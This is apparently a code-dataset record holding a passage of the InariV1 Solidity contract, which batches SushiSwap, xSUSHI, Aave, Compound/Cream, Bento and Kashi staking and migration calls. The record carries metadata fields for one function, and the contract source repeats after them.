IERC20(aToken).safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` `aToken` `amount` into this contract
address underlying = IAaveBridge(aToken).UNDERLYING_ASSET_ADDRESS(); // sanity check for `underlying` token
aave.withdraw(underlying, amount, address(this)); // burn deposited `aToken` from `aave` into `underlying`
ICompoundBridge(cToken).mint(amount); // stake `underlying` into `cToken`
IERC20(cToken).safeTransfer(to, IERC20(cToken).safeBalanceOfSelf()); // transfer resulting `cToken` to `to`
}
/*************************
COMP -> UNDERLYING -> AAVE
*************************/
/// @notice Migrate COMP/CREAM `cToken` underlying `amount` into AAVE for benefit of `to` by batching calls to `cToken` and `aave`.
function compoundToAave(address cToken, address to, uint256 amount) external {
IERC20(cToken).safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` `cToken` `amount` into this contract
ICompoundBridge(cToken).redeem(amount); // burn deposited `cToken` into `underlying`
address underlying = ICompoundBridge(cToken).underlying(); // sanity check for `underlying` token
aave.deposit(underlying, IERC20(underlying).safeBalanceOfSelf(), to, 0); // stake resulting `underlying` into `aave` for `to`
}
/**********************
SUSHI -> XSUSHI -> AAVE
**********************/
/// @notice Stake SUSHI `amount` into aXSUSHI for benefit of `to` by batching calls to `sushiBar` and `aave`.
function stakeSushiToAave(address to, uint256 amount) external { // SAAVE
sushiToken.safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` SUSHI `amount` into this contract
ISushiBarBridge(sushiBar).enter(amount); // stake deposited SUSHI into `sushiBar` xSUSHI
aave.deposit(sushiBar, IERC20(sushiBar).safeBalanceOfSelf(), to, 0); // stake resulting xSUSHI into `aave` aXSUSHI for `to`
}
/**********************
AAVE -> XSUSHI -> SUSHI
**********************/
/// @notice Unstake aXSUSHI `amount` into SUSHI for benefit of `to` by batching calls to `aave` and `sushiBar`.
function unstakeSushiFromAave(address to, uint256 amount) external {
aaveSushiToken.safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` aXSUSHI `amount` into this contract
aave.withdraw(sushiBar, amount, address(this)); // burn deposited aXSUSHI from `aave` into xSUSHI
ISushiBarBridge(sushiBar).leave(amount); // burn resulting xSUSHI from `sushiBar` into SUSHI
sushiToken.safeTransfer(to, sushiToken.safeBalanceOfSelf()); // transfer resulting SUSHI to `to`
}
/*
███ ▄███▄ ▄ ▄▄▄▄▀ ████▄
█ █ █▀ ▀ █ ▀▀▀ █ █ █
█ ▀ ▄ ██▄▄ ██ █ █ █ █
█ ▄▀ █▄ ▄▀ █ █ █ █ ▀████
███ ▀███▀ █ █ █ ▀
█ ██ */
/************
BENTO HELPERS
************/
function balanceToBento(IERC20 token, address to) external returns (uint256 amountOut, uint256 shareOut) {
(amountOut, shareOut) = bento.deposit(token, address(this), to, token.safeBalanceOfSelf(), 0);
}
/// @dev Included to be able to approve `bento` in the same transaction (using `batch()`).
function setBentoApproval(
address user,
address masterContract,
bool approved,
uint8 v,
bytes32 r,
bytes32 s
) external {
bento.setMasterContractApproval(user, masterContract, approved, v, r, s);
}
/// @notice Liquidity zap into BENTO.
function zapToBento(
address to,
address _FromTokenContractAddress,
address _pairAddress,
uint256 _amount,
uint256 _minPoolTokens,
address _swapTarget,
bytes calldata swapData
) external payable returns (uint256 LPBought) {
uint256 toInvest = _pullTokens(
_FromTokenContractAddress,
_amount
);
LPBought = _performZapIn(
_FromTokenContractAddress,
_pairAddress,
toInvest,
_swapTarget,
swapData
);
require(LPBought >= _minPoolTokens, "ERR: High Slippage");
emit ZapIn(to, _pairAddress, LPBought);
bento.deposit(IERC20(_pairAddress), address(this), to, LPBought, 0);
}
/// @notice Liquidity unzap from BENTO.
function zapFromBento(
address pair,
address to,
uint256 amount
) external returns (uint256 amount0, uint256 amount1) {
bento.withdraw(IERC20(pair), msg.sender, pair, amount, 0); // withdraw `amount` to `pair` from BENTO
(amount0, amount1) = ISushiSwap(pair).burn(to); // trigger burn to redeem liquidity for `to`
}
/***********************
SUSHI -> XSUSHI -> BENTO
***********************/
/// @notice Stake SUSHI `amount` into BENTO xSUSHI for benefit of `to` by batching calls to `sushiBar` and `bento`.
function stakeSushiToBento(address to, uint256 amount) external returns (uint256 amountOut, uint256 shareOut) {
sushiToken.safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` SUSHI `amount` into this contract
ISushiBarBridge(sushiBar).enter(amount); // stake deposited SUSHI into `sushiBar` xSUSHI
(amountOut, shareOut) = bento.deposit(IERC20(sushiBar), address(this), to, IERC20(sushiBar).safeBalanceOfSelf(), 0); // stake resulting xSUSHI into BENTO for `to`
}
/***********************
BENTO -> XSUSHI -> SUSHI
***********************/
/// @notice Unstake xSUSHI `amount` from BENTO into SUSHI for benefit of `to` by batching calls to `bento` and `sushiBar`.
function unstakeSushiFromBento(address to, uint256 amount) external {
bento.withdraw(IERC20(sushiBar), msg.sender, address(this), amount, 0); // withdraw `amount` of xSUSHI from BENTO into this contract
ISushiBarBridge(sushiBar).leave(amount); // burn withdrawn xSUSHI from `sushiBar` into SUSHI
sushiToken.safeTransfer(to, sushiToken.safeBalanceOfSelf()); // transfer resulting SUSHI to `to`
}
/*
▄█▄ █▄▄▄▄ ▄███▄ ██ █▀▄▀█
█▀ ▀▄ █ ▄▀ █▀ ▀ █ █ █ █ █
█ ▀ █▀▀▌ ██▄▄ █▄▄█ █ ▄ █
█▄ ▄▀ █ █ █▄ ▄▀ █ █ █ █
▀███▀ █ ▀███▀ █ █
▀ █ ▀
▀ */
// - COMPOUND - //
/***********
COMP HELPERS
***********/
function balanceToCompound(ICompoundBridge cToken) external {
IERC20 underlying = IERC20(ICompoundBridge(cToken).underlying()); // sanity check for `underlying` token
cToken.mint(underlying.safeBalanceOfSelf());
}
function balanceFromCompound(address cToken) external {
ICompoundBridge(cToken).redeem(IERC20(cToken).safeBalanceOfSelf());
}
/**************************
COMP -> UNDERLYING -> BENTO
**************************/
/// @notice Migrate COMP/CREAM `cToken` `cTokenAmount` into underlying and BENTO for benefit of `to` by batching calls to `cToken` and `bento`.
function compoundToBento(address cToken, address to, uint256 cTokenAmount) external returns (uint256 amountOut, uint256 shareOut) {
IERC20(cToken).safeTransferFrom(msg.sender, address(this), cTokenAmount); // deposit `msg.sender` `cToken` `cTokenAmount` into this contract
ICompoundBridge(cToken).redeem(cTokenAmount); // burn deposited `cToken` into `underlying`
IERC20 underlying = IERC20(ICompoundBridge(cToken).underlying()); // sanity check for `underlying` token
(amountOut, shareOut) = bento.deposit(underlying, address(this), to, underlying.safeBalanceOfSelf(), 0); // stake resulting `underlying` into BENTO for `to`
}
/**************************
BENTO -> UNDERLYING -> COMP
**************************/
/// @notice Migrate `cToken` `underlyingAmount` from BENTO into COMP/CREAM for benefit of `to` by batching calls to `bento` and `cToken`.
function bentoToCompound(address cToken, address to, uint256 underlyingAmount) external {
IERC20 underlying = IERC20(ICompoundBridge(cToken).underlying()); // sanity check for `underlying` token
bento.withdraw(underlying, msg.sender, address(this), underlyingAmount, 0); // withdraw `underlyingAmount` of `underlying` from BENTO into this contract
ICompoundBridge(cToken).mint(underlyingAmount); // stake `underlying` into `cToken`
IERC20(cToken).safeTransfer(to, IERC20(cToken).safeBalanceOfSelf()); // transfer resulting `cToken` to `to`
}
/**********************
SUSHI -> CREAM -> BENTO
**********************/
/// @notice Stake SUSHI `amount` into crSUSHI and BENTO for benefit of `to` by batching calls to `crSushiToken` and `bento`.
function sushiToCreamToBento(address to, uint256 amount) external returns (uint256 amountOut, uint256 shareOut) {
sushiToken.safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` SUSHI `amount` into this contract
ICompoundBridge(crSushiToken).mint(amount); // stake deposited SUSHI into crSUSHI
(amountOut, shareOut) = bento.deposit(IERC20(crSushiToken), address(this), to, IERC20(crSushiToken).safeBalanceOfSelf(), 0); // stake resulting crSUSHI into BENTO for `to`
}
/**********************
BENTO -> CREAM -> SUSHI
**********************/
/// @notice Unstake crSUSHI `cTokenAmount` into SUSHI from BENTO for benefit of `to` by batching calls to `bento` and `crSushiToken`.
function sushiFromCreamFromBento(address to, uint256 cTokenAmount) external {
bento.withdraw(IERC20(crSushiToken), msg.sender, address(this), cTokenAmount, 0); // withdraw `cTokenAmount` of `crSushiToken` from BENTO into this contract
ICompoundBridge(crSushiToken).redeem(cTokenAmount); // burn deposited `crSushiToken` into SUSHI
sushiToken.safeTransfer(to, sushiToken.safeBalanceOfSelf()); // transfer resulting SUSHI to `to`
}
/***********************
SUSHI -> XSUSHI -> CREAM
***********************/
/// @notice Stake SUSHI `amount` into crXSUSHI for benefit of `to` by batching calls to `sushiBar` and `crXSushiToken`.
function stakeSushiToCream(address to, uint256 amount) external { // SCREAM
sushiToken.safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` SUSHI `amount` into this contract
ISushiBarBridge(sushiBar).enter(amount); // stake deposited SUSHI `amount` into `sushiBar` xSUSHI
ICompoundBridge(crXSushiToken).mint(IERC20(sushiBar).safeBalanceOfSelf()); // stake resulting xSUSHI into crXSUSHI
IERC20(crXSushiToken).safeTransfer(to, IERC20(crXSushiToken).safeBalanceOfSelf()); // transfer resulting crXSUSHI to `to`
}
/***********************
CREAM -> XSUSHI -> SUSHI
***********************/
/// @notice Unstake crXSUSHI `cTokenAmount` into SUSHI for benefit of `to` by batching calls to `crXSushiToken` and `sushiBar`.
function unstakeSushiFromCream(address to, uint256 cTokenAmount) external {
IERC20(crXSushiToken).safeTransferFrom(msg.sender, address(this), cTokenAmount); // deposit `msg.sender` `crXSushiToken` `cTokenAmount` into this contract
ICompoundBridge(crXSushiToken).redeem(cTokenAmount); // burn deposited `crXSushiToken` `cTokenAmount` into xSUSHI
ISushiBarBridge(sushiBar).leave(IERC20(sushiBar).safeBalanceOfSelf()); // burn resulting xSUSHI `amount` from `sushiBar` into SUSHI
sushiToken.safeTransfer(to, sushiToken.safeBalanceOfSelf()); // transfer resulting SUSHI to `to`
}
/********************************
SUSHI -> XSUSHI -> CREAM -> BENTO
********************************/
/// @notice Stake SUSHI `amount` into crXSUSHI and BENTO for benefit of `to` by batching calls to `sushiBar`, `crXSushiToken` and `bento`.
function stakeSushiToCreamToBento(address to, uint256 amount) external returns (uint256 amountOut, uint256 shareOut) {
sushiToken.safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` SUSHI `amount` into this contract
ISushiBarBridge(sushiBar).enter(amount); // stake deposited SUSHI `amount` into `sushiBar` xSUSHI
ICompoundBridge(crXSushiToken).mint(IERC20(sushiBar).safeBalanceOfSelf()); // stake resulting xSUSHI into crXSUSHI
(amountOut, shareOut) = bento.deposit(IERC20(crXSushiToken), address(this), to, IERC20(crXSushiToken).safeBalanceOfSelf(), 0); // stake resulting crXSUSHI into BENTO for `to`
}
/********************************
BENTO -> CREAM -> XSUSHI -> SUSHI
********************************/
/// @notice Unstake crXSUSHI `cTokenAmount` into SUSHI from BENTO for benefit of `to` by batching calls to `bento`, `crXSushiToken` and `sushiBar`.
function unstakeSushiFromCreamFromBento(address to, uint256 cTokenAmount) external {
bento.withdraw(IERC20(crXSushiToken), msg.sender, address(this), cTokenAmount, 0); // withdraw `cTokenAmount` of `crXSushiToken` from BENTO into this contract
ICompoundBridge(crXSushiToken).redeem(cTokenAmount); // burn deposited `crXSushiToken` `cTokenAmount` into xSUSHI
ISushiBarBridge(sushiBar).leave(IERC20(sushiBar).safeBalanceOfSelf()); // burn resulting xSUSHI from `sushiBar` into SUSHI
sushiToken.safeTransfer(to, sushiToken.safeBalanceOfSelf()); // transfer resulting SUSHI to `to`
}
/*
▄▄▄▄▄ ▄ ▄ ██ █ ▄▄
█ ▀▄ █ █ █ █ █ █
▄ ▀▀▀▀▄ █ ▄ █ █▄▄█ █▀▀▀
▀▄▄▄▄▀ █ █ █ █ █ █
█ █ █ █ █
▀ ▀ █ ▀
▀ */
/// @notice Fallback for received ETH - SushiSwap ETH to stake SUSHI into xSUSHI and BENTO for benefit of `to`.
receive() external payable { // INARIZUSHI
(uint256 reserve0, uint256 reserve1, ) = sushiSwapSushiETHPair.getReserves();
uint256 amountInWithFee = msg.value.mul(997);
uint256 out =
amountInWithFee.mul(reserve0) /
reserve1.mul(1000).add(amountInWithFee);
IWETH(wETH).deposit{value: msg.value}();
IERC20(wETH).safeTransfer(address(sushiSwapSushiETHPair), msg.value);
sushiSwapSushiETHPair.swap(out, 0, address(this), "");
ISushiBarBridge(sushiBar).enter(sushiToken.safeBalanceOfSelf()); // stake resulting SUSHI into `sushiBar` xSUSHI
bento.deposit(IERC20(sushiBar), address(this), msg.sender, IERC20(sushiBar).safeBalanceOfSelf(), 0); // stake resulting xSUSHI into BENTO for `to`
}
/// @notice SushiSwap ETH to stake SUSHI into xSUSHI and BENTO for benefit of `to`.
function inariZushi(address to) external payable returns (uint256 amountOut, uint256 shareOut) {
(uint256 reserve0, uint256 reserve1, ) = sushiSwapSushiETHPair.getReserves();
uint256 amountInWithFee = msg.value.mul(997);
uint256 out =
amountInWithFee.mul(reserve0) /
reserve1.mul(1000).add(amountInWithFee);
IWETH(wETH).deposit{value: msg.value}();
IERC20(wETH).safeTransfer(address(sushiSwapSushiETHPair), msg.value);
sushiSwapSushiETHPair.swap(out, 0, address(this), "");
ISushiBarBridge(sushiBar).enter(sushiToken.safeBalanceOfSelf()); // stake resulting SUSHI into `sushiBar` xSUSHI
(amountOut, shareOut) = bento.deposit(IERC20(sushiBar), address(this), to, IERC20(sushiBar).safeBalanceOfSelf(), 0); // stake resulting xSUSHI into BENTO for `to`
}
/// @notice Simple SushiSwap `fromToken` `amountIn` to `toToken` for benefit of `to`.
function swap(address fromToken, address toToken, address to, uint256 amountIn) external returns (uint256 amountOut) {
(address token0, address token1) = fromToken < toToken ? (fromToken, toToken) : (toToken, fromToken);
ISushiSwap pair =
ISushiSwap(
uint256(
keccak256(abi.encodePacked(hex"ff", sushiSwapFactory, keccak256(abi.encodePacked(token0, token1)), pairCodeHash))
)
);
(uint256 reserve0, uint256 reserve1, ) = pair.getReserves();
uint256 amountInWithFee = amountIn.mul(997);
IERC20(fromToken).safeTransferFrom(msg.sender, address(pair), amountIn);
if (toToken > fromToken) {
amountOut =
amountInWithFee.mul(reserve1) /
reserve0.mul(1000).add(amountInWithFee);
pair.swap(0, amountOut, to, "");
} else {
amountOut =
amountInWithFee.mul(reserve0) /
reserve1.mul(1000).add(amountInWithFee);
pair.swap(amountOut, 0, to, "");
}
}
/// @notice Simple SushiSwap local `fromToken` balance in this contract to `toToken` for benefit of `to`.
function swapBalance(address fromToken, address toToken, address to) external returns (uint256 amountOut) {
(address token0, address token1) = fromToken < toToken ? (fromToken, toToken) : (toToken, fromToken);
ISushiSwap pair =
ISushiSwap(
uint256(
keccak256(abi.encodePacked(hex"ff", sushiSwapFactory, keccak256(abi.encodePacked(token0, token1)), pairCodeHash))
)
);
uint256 amountIn = IERC20(fromToken).safeBalanceOfSelf();
(uint256 reserve0, uint256 reserve1, ) = pair.getReserves();
uint256 amountInWithFee = amountIn.mul(997);
IERC20(fromToken).safeTransfer(address(pair), amountIn);
if (toToken > fromToken) {
amountOut =
amountInWithFee.mul(reserve1) /
reserve0.mul(1000).add(amountInWithFee);
pair.swap(0, amountOut, to, "");
} else {
amountOut =
amountInWithFee.mul(reserve0) /
reserve1.mul(1000).add(amountInWithFee);
pair.swap(amountOut, 0, to, "");
}
}
} | /// @notice Contract that batches SUSHI staking and DeFi strategies - V1 'iroirona'. | NatSpecSingleLine | unstakeSushiFromCream | function unstakeSushiFromCream(address to, uint256 cTokenAmount) external {
IERC20(crXSushiToken).safeTransferFrom(msg.sender, address(this), cTokenAmount); // deposit `msg.sender` `crXSushiToken` `cTokenAmount` into this contract
ICompoundBridge(crXSushiToken).redeem(cTokenAmount); // burn deposited `crXSushiToken` `cTokenAmount` into xSUSHI
ISushiBarBridge(sushiBar).leave(IERC20(sushiBar).safeBalanceOfSelf()); // burn resulting xSUSHI `amount` from `sushiBar` into SUSHI
sushiToken.safeTransfer(to, sushiToken.safeBalanceOfSelf()); // transfer resulting SUSHI to `to`
}
| /// @notice Unstake crXSUSHI `cTokenAmount` into SUSHI for benefit of `to` by batching calls to `crXSushiToken` and `sushiBar`. | NatSpecSingleLine | v0.7.6+commit.7338295f | GNU GPLv2 | ipfs://89a5125d850fb87a89b52e2cb580c7d062e507e61b962188e0983cbea998b8cd | {
"func_code_index": [
20378,
20999
]
} | 11,797 |
InariV1 | @boringcrypto/boring-solidity/contracts/BoringBatchable.sol | 0x195e8262aa81ba560478ec6ca4da73745547073f | Solidity | InariV1 | contract InariV1 is BoringBatchableWithDai, SushiZap {
using SafeMath for uint256;
using BoringERC20 for IERC20;
IERC20 constant sushiToken = IERC20(0x6B3595068778DD592e39A122f4f5a5cF09C90fE2); // SUSHI token contract
address constant sushiBar = 0x8798249c2E607446EfB7Ad49eC89dD1865Ff4272; // xSUSHI staking contract for SUSHI
ISushiSwap constant sushiSwapSushiETHPair = ISushiSwap(0x795065dCc9f64b5614C407a6EFDC400DA6221FB0); // SUSHI/ETH pair on SushiSwap
IMasterChefV2 constant masterChefv2 = IMasterChefV2(0xEF0881eC094552b2e128Cf945EF17a6752B4Ec5d); // SUSHI MasterChef v2 contract
IAaveBridge constant aave = IAaveBridge(0x7d2768dE32b0b80b7a3454c06BdAc94A69DDc7A9); // AAVE lending pool contract for xSUSHI staking into aXSUSHI
IERC20 constant aaveSushiToken = IERC20(0xF256CC7847E919FAc9B808cC216cAc87CCF2f47a); // aXSUSHI staking contract for xSUSHI
IBentoBridge constant bento = IBentoBridge(0xF5BCE5077908a1b7370B9ae04AdC565EBd643966); // BENTO vault contract
address constant crSushiToken = 0x338286C0BC081891A4Bda39C7667ae150bf5D206; // crSUSHI staking contract for SUSHI
address constant crXSushiToken = 0x228619CCa194Fbe3Ebeb2f835eC1eA5080DaFbb2; // crXSUSHI staking contract for xSUSHI
/// @notice Initialize this Inari contract.
constructor() {
bento.registerProtocol(); // register this contract with BENTO
}
/// @notice Helper function to approve this contract to spend tokens and enable strategies.
function bridgeToken(IERC20[] calldata token, address[] calldata to) external {
for (uint256 i = 0; i < token.length; i++) {
token[i].safeApprove(to[i], type(uint256).max); // max approve `to` spender to pull `token` from this contract
}
}
/**********
TKN HELPERS
**********/
function withdrawToken(IERC20 token, address to, uint256 amount) external {
token.safeTransfer(to, amount);
}
function withdrawTokenBalance(IERC20 token, address to) external {
token.safeTransfer(to, token.safeBalanceOfSelf());
}
/***********
CHEF HELPERS
***********/
function depositToMasterChefv2(uint256 pid, uint256 amount, address to) external {
masterChefv2.deposit(pid, amount, to);
}
function balanceToMasterChefv2(uint256 pid, address to) external {
IERC20 lpToken = masterChefv2.lpToken(pid);
masterChefv2.deposit(pid, lpToken.safeBalanceOfSelf(), to);
}
/// @notice Liquidity zap into CHEF.
function zapToMasterChef(
address to,
address _FromTokenContractAddress,
uint256 _amount,
uint256 _minPoolTokens,
uint256 pid,
address _swapTarget,
bytes calldata swapData
) external payable returns (uint256 LPBought) {
uint256 toInvest = _pullTokens(
_FromTokenContractAddress,
_amount
);
IERC20 _pairAddress = masterChefv2.lpToken(pid);
LPBought = _performZapIn(
_FromTokenContractAddress,
address(_pairAddress),
toInvest,
_swapTarget,
swapData
);
require(LPBought >= _minPoolTokens, "ERR: High Slippage");
emit ZapIn(to, address(_pairAddress), LPBought);
masterChefv2.deposit(pid, LPBought, to);
}
/************
KASHI HELPERS
************/
function assetToKashi(IKashiBridge kashiPair, address to, uint256 amount) external returns (uint256 fraction) {
IERC20 asset = kashiPair.asset();
asset.safeTransferFrom(msg.sender, address(bento), amount);
IBentoBridge(bento).deposit(asset, address(bento), address(kashiPair), amount, 0);
fraction = kashiPair.addAsset(to, true, amount);
}
function assetToKashiChef(uint256 pid, uint256 amount, address to) external returns (uint256 fraction) {
address kashiPair = address(masterChefv2.lpToken(pid));
IERC20 asset = IKashiBridge(kashiPair).asset();
asset.safeTransferFrom(msg.sender, address(bento), amount);
IBentoBridge(bento).deposit(asset, address(bento), address(kashiPair), amount, 0);
fraction = IKashiBridge(kashiPair).addAsset(address(this), true, amount);
masterChefv2.deposit(pid, fraction, to);
}
function assetBalanceToKashi(IKashiBridge kashiPair, address to) external returns (uint256 fraction) {
IERC20 asset = kashiPair.asset();
uint256 balance = asset.safeBalanceOfSelf();
IBentoBridge(bento).deposit(asset, address(bento), address(kashiPair), balance, 0);
fraction = kashiPair.addAsset(to, true, balance);
}
function assetBalanceToKashiChef(uint256 pid, address to) external returns (uint256 fraction) {
address kashiPair = address(masterChefv2.lpToken(pid));
IERC20 asset = IKashiBridge(kashiPair).asset();
uint256 balance = asset.safeBalanceOfSelf();
IBentoBridge(bento).deposit(asset, address(bento), address(kashiPair), balance, 0);
fraction = IKashiBridge(kashiPair).addAsset(address(this), true, balance);
masterChefv2.deposit(pid, fraction, to);
}
function assetBalanceFromKashi(address kashiPair, address to) external returns (uint256 share) {
share = IKashiBridge(kashiPair).removeAsset(to, IERC20(kashiPair).safeBalanceOfSelf());
}
/// @notice Liquidity zap into KASHI.
function zapToKashi(
address to,
address _FromTokenContractAddress,
IKashiBridge kashiPair,
uint256 _amount,
uint256 _minPoolTokens,
address _swapTarget,
bytes calldata swapData
) external payable returns (uint256 fraction) {
uint256 toInvest = _pullTokens(
_FromTokenContractAddress,
_amount
);
IERC20 _pairAddress = kashiPair.asset();
uint256 LPBought = _performZapIn(
_FromTokenContractAddress,
address(_pairAddress),
toInvest,
_swapTarget,
swapData
);
require(LPBought >= _minPoolTokens, "ERR: High Slippage");
emit ZapIn(to, address(_pairAddress), LPBought);
_pairAddress.safeTransfer(address(bento), LPBought);
IBentoBridge(bento).deposit(_pairAddress, address(bento), address(kashiPair), LPBought, 0);
fraction = kashiPair.addAsset(to, true, LPBought);
}
/*
██ ██ ▄ ▄███▄
█ █ █ █ █ █▀ ▀
█▄▄█ █▄▄█ █ █ ██▄▄
█ █ █ █ █ █ █▄ ▄▀
█ █ █ █ ▀███▀
█ █ █▐
▀ ▀ ▐ */
/***********
AAVE HELPERS
***********/
function balanceToAave(address underlying, address to) external {
aave.deposit(underlying, IERC20(underlying).safeBalanceOfSelf(), to, 0);
}
function balanceFromAave(address aToken, address to) external {
address underlying = IAaveBridge(aToken).UNDERLYING_ASSET_ADDRESS(); // sanity check for `underlying` token
aave.withdraw(underlying, IERC20(aToken).safeBalanceOfSelf(), to);
}
/**************************
AAVE -> UNDERLYING -> BENTO
**************************/
/// @notice Migrate AAVE `aToken` underlying `amount` into BENTO for benefit of `to` by batching calls to `aave` and `bento`.
function aaveToBento(address aToken, address to, uint256 amount) external returns (uint256 amountOut, uint256 shareOut) {
IERC20(aToken).safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` `aToken` `amount` into this contract
address underlying = IAaveBridge(aToken).UNDERLYING_ASSET_ADDRESS(); // sanity check for `underlying` token
aave.withdraw(underlying, amount, address(bento)); // burn deposited `aToken` from `aave` into `underlying`
(amountOut, shareOut) = bento.deposit(IERC20(underlying), address(bento), to, amount, 0); // stake `underlying` into BENTO for `to`
}
/**************************
BENTO -> UNDERLYING -> AAVE
**************************/
/// @notice Migrate `underlying` `amount` from BENTO into AAVE for benefit of `to` by batching calls to `bento` and `aave`.
function bentoToAave(IERC20 underlying, address to, uint256 amount) external {
bento.withdraw(underlying, msg.sender, address(this), amount, 0); // withdraw `amount` of `underlying` from BENTO into this contract
aave.deposit(address(underlying), amount, to, 0); // stake `underlying` into `aave` for `to`
}
/*************************
AAVE -> UNDERLYING -> COMP
*************************/
/// @notice Migrate AAVE `aToken` underlying `amount` into COMP/CREAM `cToken` for benefit of `to` by batching calls to `aave` and `cToken`.
function aaveToCompound(address aToken, address cToken, address to, uint256 amount) external {
IERC20(aToken).safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` `aToken` `amount` into this contract
address underlying = IAaveBridge(aToken).UNDERLYING_ASSET_ADDRESS(); // sanity check for `underlying` token
aave.withdraw(underlying, amount, address(this)); // burn deposited `aToken` from `aave` into `underlying`
ICompoundBridge(cToken).mint(amount); // stake `underlying` into `cToken`
IERC20(cToken).safeTransfer(to, IERC20(cToken).safeBalanceOfSelf()); // transfer resulting `cToken` to `to`
}
/*************************
COMP -> UNDERLYING -> AAVE
*************************/
/// @notice Migrate COMP/CREAM `cToken` underlying `amount` into AAVE for benefit of `to` by batching calls to `cToken` and `aave`.
function compoundToAave(address cToken, address to, uint256 amount) external {
IERC20(cToken).safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` `cToken` `amount` into this contract
ICompoundBridge(cToken).redeem(amount); // burn deposited `cToken` into `underlying`
address underlying = ICompoundBridge(cToken).underlying(); // sanity check for `underlying` token
aave.deposit(underlying, IERC20(underlying).safeBalanceOfSelf(), to, 0); // stake resulting `underlying` into `aave` for `to`
}
/**********************
SUSHI -> XSUSHI -> AAVE
**********************/
/// @notice Stake SUSHI `amount` into aXSUSHI for benefit of `to` by batching calls to `sushiBar` and `aave`.
function stakeSushiToAave(address to, uint256 amount) external { // SAAVE
sushiToken.safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` SUSHI `amount` into this contract
ISushiBarBridge(sushiBar).enter(amount); // stake deposited SUSHI into `sushiBar` xSUSHI
aave.deposit(sushiBar, IERC20(sushiBar).safeBalanceOfSelf(), to, 0); // stake resulting xSUSHI into `aave` aXSUSHI for `to`
}
/**********************
AAVE -> XSUSHI -> SUSHI
**********************/
/// @notice Unstake aXSUSHI `amount` into SUSHI for benefit of `to` by batching calls to `aave` and `sushiBar`.
function unstakeSushiFromAave(address to, uint256 amount) external {
aaveSushiToken.safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` aXSUSHI `amount` into this contract
aave.withdraw(sushiBar, amount, address(this)); // burn deposited aXSUSHI from `aave` into xSUSHI
ISushiBarBridge(sushiBar).leave(amount); // burn resulting xSUSHI from `sushiBar` into SUSHI
sushiToken.safeTransfer(to, sushiToken.safeBalanceOfSelf()); // transfer resulting SUSHI to `to`
}
/*
███ ▄███▄ ▄ ▄▄▄▄▀ ████▄
█ █ █▀ ▀ █ ▀▀▀ █ █ █
█ ▀ ▄ ██▄▄ ██ █ █ █ █
█ ▄▀ █▄ ▄▀ █ █ █ █ ▀████
███ ▀███▀ █ █ █ ▀
█ ██ */
/************
BENTO HELPERS
************/
function balanceToBento(IERC20 token, address to) external returns (uint256 amountOut, uint256 shareOut) {
(amountOut, shareOut) = bento.deposit(token, address(this), to, token.safeBalanceOfSelf(), 0);
}
/// @dev Included to be able to approve `bento` in the same transaction (using `batch()`).
function setBentoApproval(
address user,
address masterContract,
bool approved,
uint8 v,
bytes32 r,
bytes32 s
) external {
bento.setMasterContractApproval(user, masterContract, approved, v, r, s);
}
/// @notice Liquidity zap into BENTO.
function zapToBento(
address to,
address _FromTokenContractAddress,
address _pairAddress,
uint256 _amount,
uint256 _minPoolTokens,
address _swapTarget,
bytes calldata swapData
) external payable returns (uint256 LPBought) {
uint256 toInvest = _pullTokens(
_FromTokenContractAddress,
_amount
);
LPBought = _performZapIn(
_FromTokenContractAddress,
_pairAddress,
toInvest,
_swapTarget,
swapData
);
require(LPBought >= _minPoolTokens, "ERR: High Slippage");
emit ZapIn(to, _pairAddress, LPBought);
bento.deposit(IERC20(_pairAddress), address(this), to, LPBought, 0);
}
/// @notice Liquidity unzap from BENTO.
function zapFromBento(
address pair,
address to,
uint256 amount
) external returns (uint256 amount0, uint256 amount1) {
bento.withdraw(IERC20(pair), msg.sender, pair, amount, 0); // withdraw `amount` to `pair` from BENTO
(amount0, amount1) = ISushiSwap(pair).burn(to); // trigger burn to redeem liquidity for `to`
}
/***********************
SUSHI -> XSUSHI -> BENTO
***********************/
/// @notice Stake SUSHI `amount` into BENTO xSUSHI for benefit of `to` by batching calls to `sushiBar` and `bento`.
function stakeSushiToBento(address to, uint256 amount) external returns (uint256 amountOut, uint256 shareOut) {
sushiToken.safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` SUSHI `amount` into this contract
ISushiBarBridge(sushiBar).enter(amount); // stake deposited SUSHI into `sushiBar` xSUSHI
(amountOut, shareOut) = bento.deposit(IERC20(sushiBar), address(this), to, IERC20(sushiBar).safeBalanceOfSelf(), 0); // stake resulting xSUSHI into BENTO for `to`
}
/***********************
BENTO -> XSUSHI -> SUSHI
***********************/
/// @notice Unstake xSUSHI `amount` from BENTO into SUSHI for benefit of `to` by batching calls to `bento` and `sushiBar`.
function unstakeSushiFromBento(address to, uint256 amount) external {
bento.withdraw(IERC20(sushiBar), msg.sender, address(this), amount, 0); // withdraw `amount` of xSUSHI from BENTO into this contract
ISushiBarBridge(sushiBar).leave(amount); // burn withdrawn xSUSHI from `sushiBar` into SUSHI
sushiToken.safeTransfer(to, sushiToken.safeBalanceOfSelf()); // transfer resulting SUSHI to `to`
}
/*
▄█▄ █▄▄▄▄ ▄███▄ ██ █▀▄▀█
█▀ ▀▄ █ ▄▀ █▀ ▀ █ █ █ █ █
█ ▀ █▀▀▌ ██▄▄ █▄▄█ █ ▄ █
█▄ ▄▀ █ █ █▄ ▄▀ █ █ █ █
▀███▀ █ ▀███▀ █ █
▀ █ ▀
▀ */
// - COMPOUND - //
/***********
COMP HELPERS
***********/
function balanceToCompound(ICompoundBridge cToken) external {
IERC20 underlying = IERC20(ICompoundBridge(cToken).underlying()); // sanity check for `underlying` token
cToken.mint(underlying.safeBalanceOfSelf());
}
function balanceFromCompound(address cToken) external {
ICompoundBridge(cToken).redeem(IERC20(cToken).safeBalanceOfSelf());
}
/**************************
COMP -> UNDERLYING -> BENTO
**************************/
/// @notice Migrate COMP/CREAM `cToken` `cTokenAmount` into underlying and BENTO for benefit of `to` by batching calls to `cToken` and `bento`.
